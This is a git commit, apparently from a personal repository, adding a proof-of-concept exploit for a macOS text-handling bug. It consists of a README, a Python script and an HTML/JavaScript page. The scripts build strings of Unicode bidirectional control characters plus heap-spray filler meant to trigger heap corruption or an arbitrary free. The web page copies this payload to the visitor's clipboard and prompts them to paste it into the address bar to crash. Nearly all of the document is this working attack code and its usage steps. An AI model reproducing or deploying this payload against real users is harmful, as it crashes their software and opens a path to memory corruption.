aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorspv.sh <spv@spv.sh>2023-04-18 12:30:16 -0400
committerGitHub <noreply@github.com>2023-04-18 12:30:16 -0400
commitcb847c47696e38e080d3b9511d68a73a6741ae71 (patch)
tree5f23d504597f945ab07d781c9d6991cf8ca5cee8
ye olde source
-rw-r--r--README40
-rw-r--r--poc.py37
-rw-r--r--pwn.html8
-rw-r--r--pwn.js80
4 files changed, 165 insertions, 0 deletions
diff --git a/README b/README
new file mode 100644
index 0000000..a956a8f
--- /dev/null
+++ b/README
@@ -0,0 +1,40 @@
+Warning: shit write up.
+I used to have a much, much more cringy description. I've saved you from it.
+
+This code is from 2021. It's bad. Sorry.
+
+This bug is weird af, sometimes it does weird heap corruption stuff, other
+times it gives you an arbitrary free. idk
+
+python3 poc.py | pbcopy
+paste into app
+profit
+
+super stable PoC
+works about 10% of the time if you're lucky
+
+should free 0x1515151515151515
+it like sprays that in a similar location to the free list, and sometimes
+ends up freeing it
+for a more controlled free you might have to find each of the 256 values
+(i haven't yet), and substitute them example: 0x41 becomes 0x15, and 0xffff
+becomes 0x4 so if you spray "\x41\x41\uffff\x41\uffff\uffff\uffff\uffff"
+it'll spray 0x1515041504040404, maybe something else because endianess but
+fuck you, whatever also there's like an offset of 0x2 or something i add
+"\uffff\uffff" at the start which seems to pad it for the address to work right
+it's vaguely functional, and should at least prove the bug exists
+note: this may have been patched in some big sur version (or 11.0 itself)
+run on 10.15.7, it's been tested there.
+
+ /*****************************************************************************
+ * liberum_arbitrium *
+ * *
+ * this uses the other jank af version where you use the length of the added *
+ * string as the address, which works, but is still pretty unstable (moreso i *
+ * think), and also is only really practical at all for small addresses, *
+ * because it's kinda hard to get 0x4141414141414141 bytes into memory, good *
+ * luck tho lmfao *
+ * *
+ * - with love from spv <3 *
+ * *
+ *****************************************************************************/
diff --git a/poc.py b/poc.py
new file mode 100644
index 0000000..581fbc9
--- /dev/null
+++ b/poc.py
@@ -0,0 +1,37 @@
+# python3 poc.py | pbcopy
+# paste into app
+# profit
+#
+# super stable PoC
+# works about 10% of the time if you're lucky
+#
+# should free 0x1515151515151515
+# it like sprays that in a similar location to the free list, and sometimes ends up freeing it
+# for a more controlled free you might have to find each of the 256 values (i haven't yet), and substitute them
+# example: 0x41 becomes 0x15, and 0xffff becomes 0x4
+# so if you spray "\x41\x41\uffff\x41\uffff\uffff\uffff\uffff" it'll spray 0x1515041504040404, maybe something else because endianess but fuck you, whatever
+# also there's like an offset of 0x2 or something
+# i add "\uffff\uffff" at the start which seems to pad it for the address to work right
+# it's vaguely functional, and should at least prove the bug exists
+# note: this may have been patched in some big sur version (or 11.0 itself)
+# run on 10.15.7, it's been tested there.
+
+import sys
+
+def lol(l2):
+ s = ""
+ a = ["\u202a", "\u202b", "\u202c", "\u202d", "\u202e", "\u202f"]
+ b = []
+ for i in a:
+ for j in a:
+ b += i + j
+ for i in range(l2):
+ s += b[i % (len(b))]
+ c = "\x41" * 0x8000
+ if i == 6:
+ s += c
+ else:
+ s += "\1"
+ return s
+
+print(lol(18))
diff --git a/pwn.html b/pwn.html
new file mode 100644
index 0000000..3473a70
--- /dev/null
+++ b/pwn.html
@@ -0,0 +1,8 @@
+<html>
+ <body>
+ <script src="pwn.js"></script>
+ <!-- this input box doesn't work -->
+ <input placeholder="paste 2 pwn"></input>
+ <button onclick="pwn();">copy teh pwnz</button>
+ </body>
+</html>
diff --git a/pwn.js b/pwn.js
new file mode 100644
index 0000000..a10d590
--- /dev/null
+++ b/pwn.js
@@ -0,0 +1,80 @@
+ /*****************************************************************************
+ * liberum_arbitrium *
+ * *
+ * this uses the other jank af version where you use the length of the added *
+ * string as the address, which works, but is still pretty unstable (moreso i *
+ * think), and also is only really practical at all for small addresses, *
+ * because it's kinda hard to get 0x4141414141414141 bytes into memory, good *
+ * luck tho lmfao *
+ * *
+ * update: now uses alternative way to free, like poc.py *
+ * *
+ * - with love from spv <3 *
+ * *
+ *****************************************************************************/
+
+function poc() {
+ var s = "";
+ var a = ["\u202a", "\u202b", "\u202c", "\u202d", "\u202e", "\u202f"];
+ var b = [];
+
+
+ /*
+ i'm too lazy to figure out which b string causes the crash, will do later
+
+ update: i think it's 6
+ */
+
+ /*
+ generate all 2-a-string combos
+ */
+ for (i = 0; i < a.length; i++) {
+ for (j = 0; j < a.length; j++) {
+ b += a[i] + a[j];
+ }
+ }
+
+ /*
+ bernie sanders
+ */
+ for (i = 0; i < 36; i++) {
+ s += b[i % (b.length)];
+ if (i == 6) {
+ /*
+ this is literal witchcraft
+ i have no idea why this will cause it to free the address
+
+ it literally takes the number of characters and uses it as the address
+ help
+
+ update: updated poc to free address in a different way
+ */
+ s += "\x41\x41\x41\x41\x41\x41\x41\x41".repeat(0x2000);
+ }
+ else {
+ /*
+ memory save
+ */
+ s += "\1";
+ }
+ }
+
+ /*
+ COPY!
+ COPY!
+ COPY!
+ COPY!
+ COPY!
+ */
+ var type = "text/plain";
+ var blob = new Blob([s], { type });
+ var data = [new ClipboardItem({ [type]: blob })];
+
+ navigator.clipboard.write(data);
+
+ alert("paste in address bar to crash");
+}
+
+function pwn() {
+ poc();
+}